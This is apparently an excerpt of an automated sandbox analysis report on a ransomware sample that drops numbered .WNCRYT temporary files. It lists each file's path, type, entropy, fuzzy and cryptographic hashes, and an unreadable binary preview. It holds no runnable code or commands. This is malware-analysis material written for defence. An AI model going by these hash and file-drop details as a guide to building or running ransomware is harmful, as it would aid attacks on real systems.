                                    Preview:]O.kzT.XtGj.S.....6...^^X..EJp..(......Q..{.~V..CcO...H.Tt..X....-..).+J|*.l.N4.!`35....u....yhc.2.....E\.....H..RA.4.m..h.i".......x../...q..}...dr.>+.....h.x...rKR7......0..&yo".&.s..}.>.v.R.N...iF.0.|r......E...UWY.7.A.F...)...*h.....X.k8.2.~.%..B...5.pH`..p.S`.'...M.)...o5.....=.(\#..t.e..Q...[...[.vH.-..h...p.T..([(.*.H.s1.O>z..Y.1T.Oz......@A..|.K'#.a....R.B..,.?.%..FY[N...|.v....CM..S.........S1K..,.E.{h...F.%.`UL .#m...`......:.......p.M:.W..Z..G..^....Y0..R.>.Y.GwOW...~z8.....3b!FD..E...o...H`........G......?K.<...e.H%1N.A.@.......b{.l.-...U.9 ./...V.....3.<.^..5...).....l....@l.....o.Lt..c].1..|sNY...b.H*...T>W`.O.]....9CsY;.W..8l-i..5..Y.p.9L.(...M....}x.lOP...Y....k..wWpy.u.3........2.......3....b...H.b.M5.9...~XB|,y.C4..........;..wZd.:..$-..;...B.P MohU........+..../.....)s.$...\u.5..........w...]......|Ww..I........f+.\]v.Q.:....wb..<.8$...%..Mq..V..^.f..h...$]v.r.E....o_.....Z_V..........#.K...3.........r?..`..

                                    C:\Users\user~1\AppData\Local\Temp\40.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.823640282982658
                                    Encrypted:false
                                    SSDEEP:24:RXJuT0hSF9lImU3gLUd/OSpQzQI/LTLyRNRgh:RZrk+wLUd/OSuzQITTu7Rgh
                                    MD5:5B0ADB577E2DA97A29ED02C7E93DC677
                                    SHA1:03A756009B5898F38D928937613572A0E8B64D2E
                                    SHA-256:CED4380FE7358AB621FF68D375F7BADC4DA57C6C8FA6F1659EF793803D0192AF
                                    SHA-512:FD9DF50846F97EECB905DA08AF56B03263FD49D7C050CF0FAD7694FF8626500F3479C5DCBF0D0A8DC2E03A621021216D43D3ADB09D0C62382D0B905A02F11A0D
                                    Malicious:false
                                    Preview:.pg.@b....H!"....Tb.&._Krt..Y....]_...I..~......u..P@.b.\....../.X.C.Yo..DMA..J.*.L4...=..tBH.O.30......+...W.=S.........mj2.P-..z......&.a..Hh...I..2...D...y~......X...Z'.......<..H..s^.....at.O.....]..0.~.L&(9h#@...`&.k.@...?..h..S1I/o.J..#.54K7...b]kR..M....R. ..SL.c..'..R9...8..`.V.q..,.]HM....U.3V:..fN.<..T...g.%.|=...4..c......C....^..\.....4...&s2.F.nU..9..g..:7...z..N...{Pu"..O..N.P7+.Q...g.@B.U..\`4.1uP..0.z.>.C..=M.S......x...\.Y..?.E.O....uW..p.p.CuM..z\B.,..vR....d........QA...N..;'..r._iW!.hS...".j!.H..\6..Wp.=...z..BV..Q$....n...#.`=.;...G.,.Y.$.v`..G...].......Z.0.D..3.#..C.5._1.}./..B..i=G=.q.g.36v"..g..N...a....!.\uf4....F.y..o.)X....*^.|...RT.Um$...E..;...N..J...y..J..q.>p..%.T...0...kV.K.....W.6<.t!i.2.x.\..a.>.......c31..:...(......>.,.e......u.w..y....".D.7.`.2x..%g....Jt..;...H`.F.m...*jwh...B.|...?.....'y$...od.b.MT..#\<Rq...".1.H.../NC....j$...*..(..Y.Wc.f....3....wz...C.P/..A.......6..Vxw.``K...8.k

                                    C:\Users\user~1\AppData\Local\Temp\41.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.84424839722815
                                    Encrypted:false
                                    SSDEEP:24:8A6VnVQv5dKI781GnM51CQP9TPy4LZbR55yaaEuI5tpz5:8A+nmRR8sn7QP9T5zCEVbpz5
                                    MD5:F95FB89179B24C90A5FEAF812243AD56
                                    SHA1:7004157E7D50D60010B425BDD256153512E9A73B
                                    SHA-256:31D9FCBE37431677227F28F5A86FE677F5EAB3CEBB006605C622559F755D6206
                                    SHA-512:4722F06D34D4A9DA2084D9BCF3AEA52991F83122F0A5B9D230206ADD2F2394207404AC742701952D4E0C21570E19A759B284C185EF6BCAC4709395451C1A9DFD
                                    Malicious:false
                                    Preview:.N.......[3....2..{..T.........w`......0.l.ve;z..w.|H3..w.rB..R2v.Pc.Gg........V.s...!......h.g............./.;..m...I.K...f.M~..03.:.k....%..._..M.....Q8.]q.!..JM..#.....7RU.c...D.....O...7G..1.."@.G.!.X...7./E...D....-.u..*$.....=.tC.....A.a.@ ..v.b3.)>.w..F.;9V..7I. j..`.q......{..K...m+....~.5....X[k.s.pl...9...b.4.....,.3}....f..gM.=h.v..*.#.#...C.*)f-y.xX..<.<$./..*..-. .Rd.......B$.y...<..f...K..}..C..P.........<@....`{W..}!).j...T.H...*...-.<.at.+./9..7.5.......F.A:..;...._..&..P_.........z+E@....a......N...2}.g.friE.B.. .{[I.VX....}.....+..... 4.[.Pc...~".q.].......+.....]&....D...C.:...""...zb..~N....G.+O..3...\j[...-.......t.Z..Qmc;.u.8..5.CV.>t3@...r..BR.V(EFnWH....2.}..N.&.6...\`'.....j.g........S.....n...n..:,..f...,..Q...5;...a.rHsi......-..X.Jn>...0.....q..w..z..N..6#._.;....Q..4R....s..e..{..YA...~..5i..%~fz..m.^U:.N..8H....F.yJ2.5.x"G)...G.(.j)g.~.u4r...p7|..I5.>9.2\r.E.6G.......~..~......]..=.A..mZ.G......M.d...5..._y[.1

                                    C:\Users\user~1\AppData\Local\Temp\42.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.783090685389104
                                    Encrypted:false
                                    SSDEEP:24:aZd3FjTRrnCPKYSTz7saFzAuZWl0FCp/iZCzsllJ7Q2:KfnRCPIzoWxZlFCx0CYlL7Q2
                                    MD5:B28188255D34A0CBEB78F7602BDDD476
                                    SHA1:D1F88FD625CBBFE6497854227696B2EBEA1F4A0A
                                    SHA-256:8FB8373188C4DD33B99ED4FAE4DA568DF35F69BFC2B6ED56D814F7E590E2CD41
                                    SHA-512:1BC13BA53AE0CBFC08F5C78181F5BB5F73352792B9EAFA26B8E9D7936C31D2B52B5E3FC2FAD3C8356D5356E41EE500423427B2B3E62EACFA749A78F94E3DC30F
                                    Malicious:false
                                    Preview:.%.l._.?.k..M.uV..7...=W.s...+..~x.F.h9>C.4..a@.>_Uw.....O...`...Q#..,M...1V].O$|V![}k..$.......vvw.e..n1.y.FC[.a.Y..=....X.@...H.Y..F.>d.]-.Qz....W...;.&x......q.....F_=.%.b....FP....'...h.p....>I.J.M..D...+.`#.OM...+...r..1..U .D3...m....r^V...P&z =.].b..~.......X...8..P...3N.>.A........i.D.....t}r.....I....u4.....)".d{F.M.vXKZ.\.....L.U.^H....nn..,..(.P.ax.&tb3.....&O.|.cI.I.]./"ElB.O......]>.6..P./.....U(...h.'..#c$.....6.....Tt/..fC.|~.7X.B...scJS.{k.L......&2".g....t....&...c....akQ...&.[,..].fa;....p.." ._....`.5....C.hl.P|.a .u....kV....x,...zt.bM.. .........pu.Ez-k.!u].k..v'..tL.....4.......3....K....U...w].M............VAx.}../F6J.Q....!..D..&Lt...`........s.q.n"....3.W.p.c1....1`....rsw>s-...2..C$...hp..v....99%..-f../.'..........]Nk9.D...Fhf.?....o..i&y...#.Q...ZIq.p.3...........#Y.e......H+....$'.^.....w>KUJV.....<..Q.B......}...C..6tFXO..dg.o$E.va...~....<>....o.Z...g.*.a.F..._...i.....iZ5..U..~M5..p..s<.....8gp8.v.}...?{

                                    C:\Users\user~1\AppData\Local\Temp\43.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.805391450029683
                                    Encrypted:false
                                    SSDEEP:24:uoXNtpXs9aoGdCc0IDbHs0dyy1vwwH5ppn2nwMFsZYtspOn:u65Xs9aXgPIHpdLD2nP7tqO
                                    MD5:D6FFD80A66AF90B2678FB20515981C98
                                    SHA1:68CEDF1476920CC43F53EA0F225761D49F5266B7
                                    SHA-256:192ED5F97B41C3697070C005BAD1F521AAFF22529808051A153270B449E992AE
                                    SHA-512:9DBB54703819164B2C2C9BACF97C4F48408649C25AA5A345ACF1BC28D5A02C91A1334D73A7EF6C9DA6DB260F5AAC719E300BE241D01A133C28B1C311DA7659D2
                                    Malicious:false
                                    Preview:...F......f..Q. {.U.x...=...K$n.....o...}.li.&.......:.p......qr....Gd.c.d...d.!.....G70FR4.b.q....}......=a.s..........m..XMY/...9..q.L.9..j.m..y.u.C.3.U.^.#^..?.>.+.c..gvZ...5...~L.(.{X}..k.....nV0vs..0@...".GT...N.hW.N...3V.0D.k.Z...6..%....>...|@......R8...-@...J.K.j.wq..../n.....xA.>...........fo....pV.w.x...`B6.3......ff.H2II.J pIo.k.j...Eq.....4'.n<+.U8P.7{.$....l......"<..:8.....t.I.c].*......n........U.....hE.".Y#4......Z1B....4..A~...(..1...(...Z.-2...a.ok8^t~.5..w..j...=....e.....b....9.J..K.....C....2...7../k..3h..Fq'._:.B...=._/.].C."F...(.So.K.E.... R..R@O^`...\.....z]s....].+D\.!n...t.x..h..u.]nNZ.0.+]o~7-T..f....m.Rc]@...g).Q.L@.I'.>.Ub...b.N.T..|8e`.-b.....at..b).........!..6m..a.&...d.A.9...y..ds2.....'7.....9.}.sq.]..%.x1..X-..~.<.vu......p.(...f.?.$&I.G.>.h&;.fO..>S0.?%Q..jvlDU...8..]m8j..{UZ..C.N.:=:..0.<....G..(.....a.....{.w'.H...$&j....DB;...1.O.x../..!^..].T]...L..{............=;{..$.o~.~.A.......v2\.o.

                                    C:\Users\user~1\AppData\Local\Temp\44.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.799921447438433
                                    Encrypted:false
                                    SSDEEP:24:LM3bIQmxum88kkES6wobTjRqZdLSNmvOLGheuDmMzQqBINtOLI:MbIQvwV6wajRqZbWKeuA5NtB
                                    MD5:AB125E90DF9D23CFCADB50BD1E41DACF
                                    SHA1:4414DAE1E0F2E706FB5181CFA0F555E78B7B061A
                                    SHA-256:877CC29852098A7F6A6D5E01961518928B0FF547F37DE16B09F842CEA30281DF
                                    SHA-512:1B25379C48477C66A7181DF47F11D5F014D183D4867FC080A26A6F4740B7EA787F48163B4629F6F19A6D53B971C0AE6D72334EC08811A8D3D682988928CF1902
                                    Malicious:false
                                    Preview:..)hKe......i...s........7.3-.&.\.0.Yd.y.....k'.J.b...n.~..DYY...9M...._...n..Q^..._..cYk....q(.y~C..^+...9..D.a.!.S....2. AE.x#.)ec..X~..3...O...:.0\...n...7..=U..b.......(I..y....$....'.2....i..\...S.f.h..h...=m..:;S.(..T.S.....t.D.{.\S^Z.+Q.........;k...f.+..w....fJ#.D...J....}.T...#..B..J.[.E..0f..V*L.._....c.M=.mg....gU.</&.-6..jba..>..".[.~#;....8....a...20.;. 'PP.5.."(.o........1......,b.l...Yg."H...a..>.b.7R..G.-!.c.......E...Bn..>.X~*K1.....,=....m..1..9tQ.HG.?P..l..X.....ZIq.<"m7...t...&|f.D...1.9.......G..u.H.0.A.....=.q..\.E......E......k....l..L..d..Y.y6....b#Cd..I%.......R.y..5>.a.,....s.R........S.W...p..9.~..........+Z.B[.3hG......?.F..G...h....A>...^.RA..`w....O..=..R_....g.;...!....Xy..R*.J.R)...z4A..~....l..2l......A0(...a..A....nU.d..F.}..Z.........{.iO....#..c.B...n.&^....(=..<:.V.;k..N...m..B.M..{.I.O.@.O..H.\.B.S.|.3..........<..q.c.....7.!:.Qn..u..2....q.O....4.H.hej...%+o\&.a.q.(Qb.Z......x:L..1....h.)..!....

                                    C:\Users\user~1\AppData\Local\Temp\45.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:OpenPGP Secret Key
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.808221968623382
                                    Encrypted:false
                                    SSDEEP:24:MprEgqHjvUNqkwvlfSn1bfyGMS42ut5YPkWnd:++vUXGlf+1fPMlFid
                                    MD5:6D66B5EE883A1B115575E58750A485EB
                                    SHA1:1E2D7DF21FB3F1DEDC2F1888B75B379453D61D86
                                    SHA-256:8CE75DE211E70BB5EB8F410500EF56E9C8A25DC7BB6A18B80E6226B374F4C78D
                                    SHA-512:E3ADC2213D38644DDB12BCE92AEB67E8A7F6BE4653012EDA45726776FB23466CEAE3558F905F58B9AA879864E05D035FCBE9A53E36FA396C64387CF6DDAA4A5E
                                    Malicious:false
                                    Preview:...w....EO.$.n..>..R.<1..AD......"..E4j.%o...b4k..e<..]...?..G.)...?i..\2..v.qd..}....0.ib..2....@......".q......8.|..6qt:F?...eT.X...3F.3I......2.O......V.......o..!..qh.CW.[..'..B..."..*.Q.......A.E.....r...Z.+0......vX........+j..V(G\.k.&..S/Oc.hH..3.....8.4M...D...3.....3......H..<..E/.o...=...+..&Ki.z..=N...T.;..b...b.];.YC....5..bw4.FX.0<HuHrZ........1..SQ..R...........o.7.D....D.u..i4......../..y...,.v...)S.3d.4.=L..G.8..zq...>..B....a..1.;z.6..J..O_D..5ve....S..4.!.....`.....b. ..>UF.5=1..$W...D..4Tzq....F..MD..yMk..-.4...h..s..@.n..Ck._..m....&..)...N.u3.wX.qD.JC.....)'$.....6b...?.=..t..........~..gU:S.o..F...\..Nh......+.S...?oo.G.7.r.|..7....U..u2....{.....t.T*..Y..%.qW`Ll.t...Obg.u9P.d.k.{,.yxN.v.]7T.e.. . 6u....d..6.F....K.[....j.x...;{m.'...g..]h.....7......n/F..s....<........g...r.e-.....Ff.M....S.A..S&...........`0..4.p)..`3'N_..t@..hY.....a8.......`..Qv...C....}Ah$..H){vz...G...$U.A..<{....2.^...G......Oe|.b8.X

                                    C:\Users\user~1\AppData\Local\Temp\46.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.797586260637566
                                    Encrypted:false
                                    SSDEEP:24:9ZLUoq2hWSSgu35dTsPaN6QTdEYzjG5S1YJLUe0wXWP2N/ZTr:FnhWSGJdTsCNLEYzjsMYJY5wxRP
                                    MD5:955DE17115D6F9EFAF0FF569489A965C
                                    SHA1:1E33936B77357C19D653144047CAD34BE58AD0BD
                                    SHA-256:97D390F22CA14ACCAECB0EF09203EF9BD084F2650FD114AF36E55D6B76894321
                                    SHA-512:37C451E8790E51BC650CDB791FA6F3869F7F674996AEB60B57E73B5ADB056AFE4F59AC3F7E25C024DAB54320C45C84D7DF74982E4F50B10A8EB2B5B4F8A9699A
                                    Malicious:false
                                    Preview:..V..x..2..VY8.{.[!....H@^[:.....,.....R...>......................&C.V^..V...0...#........j..G..>g...d..f....yJ.V...n...|.'J.,(..xqX...w...Z.p.z....Wj.l..>...WZ...=.[......V,..fV.\.......\D.B.D.0..9...c........>`..~7R...t^..F.P.$..<...,...w.@.tk%.....:.<.R.22.n{g.bgL....?.O..o...LN...$..:.A.]..n...L..aL`.A....!......Fz..%.0..g..|a.4fa.O..Y....N.....^..r0.7IF....+..[..;......<..H...(.c.....xLb.5..s.C.1...x.....3K...v..w.....Wm....4.i.7R_%..hP..b...}...`....72.V.!..t.U.a..F.?...6Z1j_...+d.9<.jF.(A.@.(.........9.....@...s..;z.."....s.M.aQ:y.c..TG1fnny..]..c.{*.S.3n.4...W....8....KNN..3C.....3Z.G....3.8.}.;..k.g.>!t...X.h....k.63.?...b..2.4H.R.k..J`]....n..f...z...(3..=.I2TDd.....U..X...H.A.~J....[.)..l./..:.F.A#..Z..E<..Vb......7..L..T..V..:.]j...).L...a.*B.L..-.L....!`....Z.i.N4....4/5F`.B....Xq2..I..`R.aS...S:@".am<..Y.(..^..,.x.......=V..U....oI...?....G.C...T[.;`. ...x/zl.*..A...:!<. Y....:L:..#{.W.3..0........<.W........l.5.p.(k....

                                    C:\Users\user~1\AppData\Local\Temp\47.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.805139153930091
                                    Encrypted:false
                                    SSDEEP:24:sKYuHZzZxsUXYH4BYz9RWpxN+K9QbkCPxsIzOng6j4jc/1:yupZIYBYXWrN+K96vGBjF1
                                    MD5:578868A6D508321104030ABDC0A217BF
                                    SHA1:5485C2A5F34C0F8137A7C85C064E8D00FD9E56C0
                                    SHA-256:CF54EED45835E95E700B9E05ECDEBE77157209522C03C29F96368DBCB2C08C31
                                    SHA-512:BAD10A31EE21C44631C7CA0EBDE971AE31E3D340131404670123989E3E5DF178E772D3D0FC1DB2A1092032CEB974033C7A7BEFAA11EB27C144FDEC48A16B80F0
                                    Malicious:false
                                    Preview:...?[}I.8...e.I.....R?...x..x.x.\{.&k.....#..l.7..N..>3....o.F"[..O..-...w.Ow...9..:U.B..m.....&.n...P.?b.N6. .@k..Az...2.u...r.8...`.?H..q4R['.aH..>."&B..........>.C.Z...P4d..^....5.Qn...tY.$.k2P@<#...D.0My&.5&....._.....}.=.Z..D..2...uj.....EC..&..!f..k.....A.c..A?p"P.8..9G..;=R....a@0^..>./.....6}......6..x.7....8..."E++]{.c...U/.KsX2.>...-......>.z....B..ES.2.....8.d...M..j=OZ..C7..67I.>;Rq_.....>-'.....YU.K...H5c...~...d..x8i>M....A-.)2...yK..x./l.QY..[.}....=..y..zH.......s.e...op....d....s>.o.(..A.@...g....o#y.<....MB.>.r..$.......a1]...Ro. \......0,....Ntf...G...*..|...q.e&d.s&.|.m}.x.2-..r..'..........Byl..-..5.X..w..q.|.S)....U.o(.E..^.rV.mE2....;........N.....A{..t...cd....V..MSn]..+.$.8...f.'.......'......*&..g..v...r.M.Dg.@.)D5..I.'....;.8U...}>.6.?.MM...5..=".V.o.- *....5kU@l.$;.....1....d.L.I9.E.sk..5...R. ....tx,<(/..P.....D.xl.w.>...(..?uk.g....kel.+.#.n.>...eV.....M..4..'.E..t..|...d..L.0.wA.9n.8..)..O.z.?.`.......w

                                    C:\Users\user~1\AppData\Local\Temp\48.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801480032130538
                                    Encrypted:false
                                    SSDEEP:24:gftPJB6URzarr+31Qq+i02BXSJgISDCgtdnBUAbMQ+aw:gVCtwWUCJgISugverQzw
                                    MD5:EEA3903C72F818CD6321093EBADFAE0D
                                    SHA1:E93F8C09CB5D95CA849E2B949EC78D0D7F121E01
                                    SHA-256:F1EA8851F89871602992EF8AA3BCCBD52DF990DCF1F29BBFF89462C8FD0E3CAF
                                    SHA-512:0CD8822B40228789BD3AECF79354664225E398E287981DF7EA763BCA40EC890EC34A5C1CF064F525F295882615BD2DDA3BF95981391168868A7C5B1E0CE5F57E
                                    Malicious:false
                                    Preview:.S......`q"=r....:....s....).9x..|GGZ....d...4ee.l.Y.&...y.]Y...\..Jo=.[.....QZ.........Gv.....;`T...U....&...4...Ql.^.a........}Ha)..!.v3K..p..... ........D2l........u....C...`+......,..0....rD..7.gP..1M.$0...7o.@v...X..........K+.....%.t8$y..Me..Vl@67.V..?M........U..6./._."<.".u.0}....$.^....~a..W....7[.g....@.a..*.L.J.C.:.?.4hy..4pK.9...?.;....U...@!....4".. .1.....2....R.....0+..H........3.NI....h\..=.\.2.....Z.!v(..P.r.Jp..Ez6....G..o. ....2u..`..B.K{.4c7.i.n.J%..8\..H...|..p..,.`F..im.X.Yn""s~.@.uM......x...3...<b..............)...[.FS.C..f..G.Q........2.+...l...c*%Tgf.zp="Y...i]...5...f!.h....W...J...h..:A.l.3P>'}J.w....U..b.t.L..:.7..S 0.1..........E..Q..5....Gj...W..8...O1d...S.....]..J..}Q$i...#$kf..F..l.W5...R=.P..8...i`...g.bP....|..Xd..I..K\.".....0Z..}.n.Y._.....zh.....|.e.5y,..K^.....k..B%..!..'..^u..$#M.eN_.....TuJ..b..t........_...ql..M..JA........H.X.3.p.CV../...KF.NzK...].J....x6....O...u.4V.f%..P.........g7..o2

                                    C:\Users\user~1\AppData\Local\Temp\49.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.856245878249871
                                    Encrypted:false
                                    SSDEEP:24:rhz2I9otOCT+UhV2O/41U4dVkGnop1JtjqWM9tWUzR2NfKPVN49T0ZEXFpcJ5:0IWICT+U7OfdhojjPCtWqR2NfaVcT0ZL
                                    MD5:89C69596DD70E4222DFC812A23F4C90A
                                    SHA1:57DFA4678A1293968297C235EBA5A1348C8AF4A6
                                    SHA-256:2FD6911CDE73A63154BF33952F958C8C0A8C05F167D272637045EF2A8DA755F4
                                    SHA-512:B490F6E3B08FB3C6DB71A452937BE336D5269816AE195D0EE87B93B138EAA663C01A45A9D021FB5A0CD597FB7A1185867C80FA496CCC75E86444497F75CB0D7A
                                    Malicious:false
                                    Preview:......@D..d=}y..... M..........l.6cQ....@[....BA<....#.\9.....J8...C....ZZ\.....x.'@X....vP.U<.9f}..y.m7.....T..a..Z].+.>...xQ..iq...i.......[..v......[*.s.'...v7..<4....yM....@....d.".s{.C.F.5.{.S.....(8'.74..Y.W&.h6...9...~r..w..b.$........S.<.....g6.1.S7'..`.6.W......_a..W...2c....NkP>.#..BC..5.TF.'%.:.s..!.1M.-h.z..~....*.......a).^.RomH.'..'...tH..X*..j.@I=.....kV.'@O.L(...d"........M]n..+.a.....Ko......y6....c....T.#....-.d...);G.|.....U.l,.g."...H.w..(.A...C.z.....J.>.e......6T..X..?..z.x,F.p....E...%\....(..+..R...[g.iW(f.../..w..2.'..b...h.6b.......F..]..<;[.......gNW..HHj...c^T..L.a.ghe}4..cJP9{.o.a..g..!..$E...[q..a..t.Bh)....hIj.@.....S..;.u....Y.W.:..v;.+.-Y....z.m.U..cdP.Z._...8...%..+.ca......l.b.n.6=...a..P.?..QZ.onu..C.|..l.h.$_..C?x...a..8...X..A.u..W.../{R.S;......%H...S..q..N._dY..H...2B.s.......J..v.@..:&...q Y......._T...EB.Yv.t...C.."Qf=e5.`..#/....oXGp..Ai. .]....@...vP.....Q....f...Q.w..1...=.M2.FL.sm4

                                    C:\Users\user~1\AppData\Local\Temp\5.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.777726731576134
                                    Encrypted:false
                                    SSDEEP:24:QnceBfd3WtO2X9wPeuXEdLzFApQIgTs6xXAYJqD/:Ic6dmtOI98UrAp1v6xpcD/
                                    MD5:8505113BC46D05EBC8BD2807F6E62F71
                                    SHA1:6545111BCA2528C785D8C819EC896E926C3918E5
                                    SHA-256:174C9BE7AFBBDFFA732713808D388D01F2179CB5AA122C19D5B58811151C4228
                                    SHA-512:E96D5AF066461265AA4FE05F6F9E08498D934E462E3A9604A24DB1041A15B3461AD9E1D076AA600DA904B631B415508985781693906FE4F3D2404917859FD8E2
                                    Malicious:false
                                    Preview:s2A.]....Z.5....{8`..Q...$v..$#.[..V....... ....q.hP.c...!Q=.[....YLc=..+....A....5..).I<..J.f;.(*1.K.=.,..+........-C.....@<.nO.=HgN....4..M..4..Z...+.^.h..&0....5....R.i.3.@.3.e...?..O.mO.N.1.-sR....,...j<.....(.....N..'.>&.52.wx.8..O1Zqx........m.>c}5.2e1.=.-%..8.-.s.q..>T.i..A0..n..I.7...#K.....5..=.[(.`.RR.X...|.u..X..s..I.....,.X.!j........Lp......*)`.....9..I..J...YD...,..*?H..E^>3.7#.E.1.......D.j..gX.K..{..|...x.0+...m..j!...hAK...\...#..UD..?.X..,..-....ly.3&#6.=Eq...vY........3...m.... ..,".VZr.B\j..W.1...|P....+..-.5....B....}.b....e.0.....jD..k.O9z.%.P..35~....50:D6.o......s..[...B.FF.C...$.5b..E.'..N.B...3+{....5d...x.1.....#~.?.K.j....n...E.....<......+_z.XO...ig..W.....=..~,..C..0g.y|`...?.}.e....!..Q....R..)...P......f}.d{...[........L9z....Lj.}?....(......l.4/9_...0....1.2.....\*N.4....z.7.....+.H.3.].....P.._=O.#..H+....LDEc......a....)..x...|S8..,I.2:...w.".S.....<."V^.y....E...E.~"...~.d...5..p.....M.Q..EC..)

                                    C:\Users\user~1\AppData\Local\Temp\50.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.781352447285762
                                    Encrypted:false
                                    SSDEEP:24:odPDs/VQTScSUNhF47z0MBa/EOSFhekrIlB:odPsQTSga+ozryB
                                    MD5:3BBF2863681003F3795C493DAB5189CB
                                    SHA1:9F4CC4FAA6664E7ADCBDF9367C00309A6A0C0540
                                    SHA-256:1A603F0491AB592BA53A2415F1F6CB68157424E602088917A418A6F2E380E61E
                                    SHA-512:4D9CC925A2D01139B75F8C77643C5C2181310AFB8EC144EB2F28BD1AA46993843F269906B6CFFD41F67D347F5CA3E17E1187C2DB7DF7145F4816BC3629AEA998
                                    Malicious:false
                                    Preview:.. `7N&^..P......R.=...d...\....d&...s..E..u...q5..O..=..N..D.!r4.IF..vW.M.DFU...=M.i]......H..a=...&......T.?...9H......&.6....`qL-9s..0.........T..rp.roZ.O.R.O..eL.z........<wm.]/......N.w........Al'..|...].9(u................y.H.5.^.2S.}...5.i.j..d1......l....Sd.p...m0......B....PY.*I..0.n.V.../.M..Lt=K./...p.S.R..)....p@.5E./.....4=..w..>.......vD..g%uz.....4..W..@. ...... ..(d.....l.V[....@.~......uhp.d:..uQ..sc.My\d."...Y...m..@...5....9..c....C....#?C[VH....z.S......._.'.T..!?.d..d.....!.\..NhdG.....'q......l.Jm.kc.>....R......$VS..,.j....~.)j./..@......}.$.VD........=.D+....].....-]|>..v.Mb.TS...BO}.b..+9Q....JS.L.,.4.X;....g..X.v......P'..3.......Q..YZ.J.g.Dp.......s6.{n...........AI.....vB!G!.M..F.j.x..i..%"T.{.~..}PNz1.....tE.FU..4...Ua.R...B..CY..}...p.qT..<..x$......W ^.Mq.Ih....LoaL..[M.?g..U...2...:.......U.1..s...v...z.%......~m0......bF!...xh`2I$....q/..v..n.{...H...<cvh.D..x.5.....Z.&..b..itL#n...H....h.vI94g.....8...

                                    C:\Users\user~1\AppData\Local\Temp\51.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:OpenPGP Public Key
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.822592047025136
                                    Encrypted:false
                                    SSDEEP:24:guu8xxYooszRekia4Gbsf/U6GlZqHgnlWW2ruY+Zz7G3WRuAa:ru4xYoospialCAlygJUubz71uAa
                                    MD5:2E2CABB52C0F8A630CB46EA7ACE4997E
                                    SHA1:BA5BA9ECD756FF581513B5BF0CE64FFC36CEF48A
                                    SHA-256:45D4DCF8FB8E7ABC86EE9DFA2A7BD03FC6A37321EF5E837D15B0E335AB79EB4E
                                    SHA-512:8ABDBD67049CED7EB7E1E774B3A67B7650E1D75646855728AE3F2EF3C1665C6DBF45708C7FDEAC3E7B428781E75CC0083C6535E253D8CDC559A2B89F399437A2
                                    Malicious:false
